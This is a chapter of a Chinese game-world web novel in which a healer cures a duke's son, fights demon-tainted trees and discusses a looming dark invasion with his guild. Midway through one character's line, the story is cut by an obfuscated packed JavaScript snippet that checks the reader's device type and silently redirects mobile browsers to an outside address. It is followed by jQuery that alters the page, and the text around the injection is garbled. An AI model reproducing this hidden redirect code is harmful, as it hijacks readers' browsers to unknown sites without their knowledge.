“少爷醒了！少爷真的醒了！”


    管家激动地扑到床前，颤抖的手轻轻抚过米尔少爷的额头，确认体温恢复正常，终于长舒一口气。传闻果然是真的，这位大人实力不一般。


    “几位稍等，我这就向公爵汇报。”


    管家匆忙吩咐女仆照顾好少爷，自己则快步离开房间。


    北影和北翼眼睛亮晶晶的，脸上写满了崇拜。


    “哇！白大哥，你好厉害啊！”


    白时青只是温和地笑了笑，目光却若有所思地停留在米尔身上。


    少年捧着女仆递来的温水小口啜饮，怯生生地往这边瞄。


    不多时，管家便折返回来。身后跟着一位身材健硕的中年男子，穿着绣金线的深蓝色礼服，面容与床上的少年有七分相似。


    兰斯公爵站在床边端详了许久，神色才渐渐柔和下来。


    原本没抱什么希望，可这些人竟真的治好了。


    男人转过头，打量的视线忽然顿住，表情也随之变得严肃。


    早就听闻修斯公会有位医术超凡的治疗师，他有心想请，但公会里的冒险者向来不爱跟贵族打交道，思来想去，最后还是作罢了。


    “万分感谢诸位。”兰斯公爵彬彬有礼地鞠躬，诚挚道，“尤其是白先生，您救了我唯一的继承者。今晚务必赏光参加宴会，让我好好答谢各位。”


    白时青婉拒了邀请。


    他对贵族的宴会兴趣不大，倒是另一件事更值得在意。


    “公爵大人，不知米尔少爷是如何沾染上了魔气？”


    兰斯公爵对白时青的拒绝也不意外。


    他沉吟片刻，回答道，“莫提虎丢失之后，米尔不知从哪听说，红枫林有口古井能实现心愿。他偷偷溜出去，结果古井没见着，反而撞上了魔兽。”


    “至于那魔气，我也不清楚是怎么回事。”


    兰斯公爵的说法跟管家一样，似乎问题就出现在红枫林当中。


    “既然米尔少爷已经痊愈，我们也该走了。”


    白时青没有多留。


    临走前，管家拿出一个精致的绒布盒子。


    “公爵大人特意准备了一份谢礼，还请收下。”


    回城的路上，白时青打开盒子。


    【紫晶胸针】


    【魅力+20】


    这个公爵还挺大方。


    北影歪着头，见白时青盯着胸针出神，忍不住凑过来问。


    “怎么了？有哪里不对吗？”


    “也许是我想多了吧。”白时青收回目光。


    那股魔气的事，他打算去红枫林看看。


    回到公会，兄妹俩像两只不知疲倦的小鸟，叽叽喳喳地又接任务去了。


    大厅里，叶远在和顾成临烤火喝茶。


    叶远举起茶杯，朝白时青晃了晃。


    “来一杯？副本掉落的圣灵花茶，难得的好东西。”


    “味道不错。”顾成临抬起眼皮，挑挑眉。


    “当然。”白时青走过去，往沙发上一靠，“你们倒是清闲。”


    星白杏照例不见人影，怕是又跑去刷副本。哪像这两人，通关一个副本就能瘫上好几天。


    叶远呷了口茶，不在意地笑笑。


    刚重生时，他害怕惶恐，总觉得命运不可捉摸。但现在，已经彻底看开了。自己上辈子混成那样都活了十年，这辈子更没必要整天提心吊胆。


    “好不容易通关了暴雪平原，还不让我们休息休息。”


    顾成临将装着肉桂卷的瓷盘推过来，语气随意，“今早怎么没看见你？”


    白时青接过叶远递的热茶，垂下眼。茶水里飘着几朵还未泡开的花苞，带着淡淡的香气。


    他抿了一口，把上午的事简单说了一遍。


    “魔气？”


    叶远突然想起一件事。


    前世，似乎是游戏降临的三年后，有一只发狂的炎龙出现在维西城周边，将附近的几座村庄都毁了。因为这件事，城里的玩家们人心惶惶，不少人想要跑路离开。还好最后那只炎龙临时改变了方向，飞去了其他地方。


    据传那条巨龙就是被某种黑暗力量侵蚀了神志。


    当时论坛闹得沸沸扬扬。


    有人说是魔物作祟，有人说是邪教搞鬼，但始终没有定论。


    “我觉得有必要去红枫林一趟，也许能够找到什么线索。”白时青放下茶杯。


    “一起？”


    “不，我一个人。”


    翌日。


    白时青独自前往红枫林。


    整片森林仿佛燃烧的火焰，漫山遍野的红叶依山势起伏成缓，在阳光下熠熠生辉。飘飘而下的树叶将地面染红，踩上去软绵绵的。


    越往里，那种说不清的压抑感就越发清晰。


    直到他看见。


    一团团污浊肮脏的魔气寄附在树干叶片间，连带四周的树木也愈发怪异。


    本该鲜艳的红色呈现出病态的暗红，树皮下透着死气沉沉的黑络。


    “沙沙——”


    那些枫树竟在白时青面前活了过来。


    它们将自己连根拔起，带着腥臭的泥土也一并被带了出来，留下一个个坑洞。颤动的枝丫伸展着，像胡乱抓挠的鬼手。树干皲裂开一道道类似眼睛的黑色纹路，直直瞪着闯入者。


    【魔化红枫树】


    【30级】


    这些树木被魔气长期侵蚀，早就沦为黑暗的爪牙。


    聚过来的树木紧紧挨着，望不见尽头。


    白时青法杖轻点。


    清风缭绕，托着他升到半空，轻轻松松脱离地面的包围圈。


    俯视下方，魔化树发出不甘的怒吼。


    金线如同灭世大雨，肆意收割着一切。


    “轰——”


    经过一连串高强度的轰击，周围瞬间空空荡荡。


    系统的提示音接连响起。


    除奖励之外，还掉出了个东西。


    【魔珠】


    【沾染着浓郁魔气的结晶，蕴含着不祥的力量】


    白时青盯着这枚黑色珠子，眉头紧锁。


    里面蕴藏的力量，与米尔少爷身上的魔气如出一辙。


    这片森林早已被魔气浸透。


    他没有继续深入，而是转身返程。


    “这是？”


    “魔珠，在红枫林找到的。”


    叶远从他手里拿过魔珠，放在掌心仔细观察。


    “最近多了不少清剿魔化兽的任务，现在看来也不是毫无缘由。”顾成临单手支着下巴。


    叶远想了想，斟酌着说道，“或许，这就是这片大陆的危机。”


    上辈子也是如此。


    最开始大家疲于求生，好不容易等级高了，日子安稳了，却爆出黑暗入侵大陆的消息，可那已经是游戏七年后的事情。


    如今想想，一切都不是凭空冒头的。只怪那时他光顾着升级，根本没留意这些细微的异常。


    大厅的门又开了。


    星白杏见三人坐在一起，脚步一转。


    瞄到桌上的魔珠，她略感惊讶。


    “你们也打到这个啦？不知道系统搞了多少，我最近刷了一大包。”


    说着，直接打开背包。


    魔珠哗啦啦滚落在茶几上，堆成一座小山。


    三人的表情一点点凝固。


    星白杏扬了扬下巴，面色如常。


    “我看没什么用就都攒着了，这东西有问题？”


    “我们猜测它背后有个大阴谋。”叶远沉沉道。


    星白杏拍案而起，双眼放光。


    “这不就是游戏套路吗！”


    “如果把这里当成


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281939|179048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    游戏世界，那总会有主线任务。我们现在经历的肯定是主线剧情的前置任务，最终目标一定是——”


    她做了个斩杀的手势。


    “打败大魔王，拯救世界！”


    白时青被她逗乐，边笑边点头，“不是没有这个可能性，说到底以后还是多留个心眼。”


    对于未来的局面，他们确实没有办法阻止。只能尽量收集情报，做好准备。


    寒冬已至。


    城市被白雪覆盖，银装素裹。


    白时青和星白杏并肩走在街上。


    不同种族的冒险者们来来往往。


    按现实的日子算，没几天就是新年。大家最近都不再接任务，而是选择缩在公会里，给自己放放假。


    不知不觉，修斯公会的成员已经超过一百人，等级也升到五级，可以称得上是维西城的第一公会。


    “对了，你看看这个。”星白杏将自己的任务面板亮出来，又从背包里拿出一张纸。


    【任务?归乡者】


    【来自故乡的信件，能否传达对她的思念】


    “我上周打本获得了一条任务线索，顺着找过去，在邮局的邮箱里翻出一封因为地址损毁无法投递的信件。”


    白时青接过信，低头看了一遍。


    信纸上的字迹工整清秀，内容多是小镇的近况。谁家的果园丰收了，谁家的牛生病了，又问对方在外面过得怎么样，什么时候回来看看。


    字里行间满是牵挂，却没有收信人的名字。


    最后一句写道。


    “怎么样，我亲爱的冒险家，外面的世界是不是很精彩？有没有见到过故事书上的恶龙和魔王？”


    翻过信件，背面还有一行小字，笔迹与正文不同，似乎是后来补上去的。


    “如果这封信永远寄不到，请把戒指交给能替我去看看她的人。”


    白时青将信还给星白杏。


    “接了任务后，系统就一直没个动静，不知道该找谁，也不知道该去哪。”


    “当时除了信，没有别的东西吗？”


    “没有。”


    “看来是缺少了关键道具。”


    “那估计没指望了，世界这么大，我该去哪找？说不定东西早就遗失在某个角落。”


    有些任务若是没关键信物，便永远完不成。


    星白杏摊手，“算了算了，我还是随缘吧。哪天要是碰上了算我运气好，碰不上也不强求。”


    白时青失笑。


    ……


    “白大哥！”


    白时青转头望去。


    是陶西、刘明刘伟兄弟和美亚四人。


    他们从晨曦镇赶来了。


    “能见到你，真是太好了！”陶西一路小跑穿过人群。


    白时青感慨万千，“是啊，上次见面还是一年多以前了。”


    自从白时青离开，四人从未懈怠过。一达到四十级，便鼓起勇气离开晨曦镇。他们跟随其他前往维西城的玩家队伍一起，虽然遇上了数不清的危险，也掉队了很多人，但总算抵达维西城。


    “之后你们有什么打算吗？”


    “我想先试着加入公会，大公会的进入条件实在太难了，只能先从一些小公会入手。”她压下心头的无奈，开口邀请道，“我们就住在黎明旅馆，有空的话一起聚聚。”


    “好，一言为定。”


    “我们还得赶面试，先走啦，到时候联系！”


    陶西依依不舍地挥手告别，带着几人拐进另一条小路。


    白时青则继续与星白杏在集市内转悠，好不容易才找到沉迷砍价的刘潇。


    刘潇拍拍手，满意地瞧着自己采购的食材。


    “搞定！回头给你们做大餐！我最近的技能可精进了不少！”


    “行啊，等着你的大餐。”星白杏笑着应了声。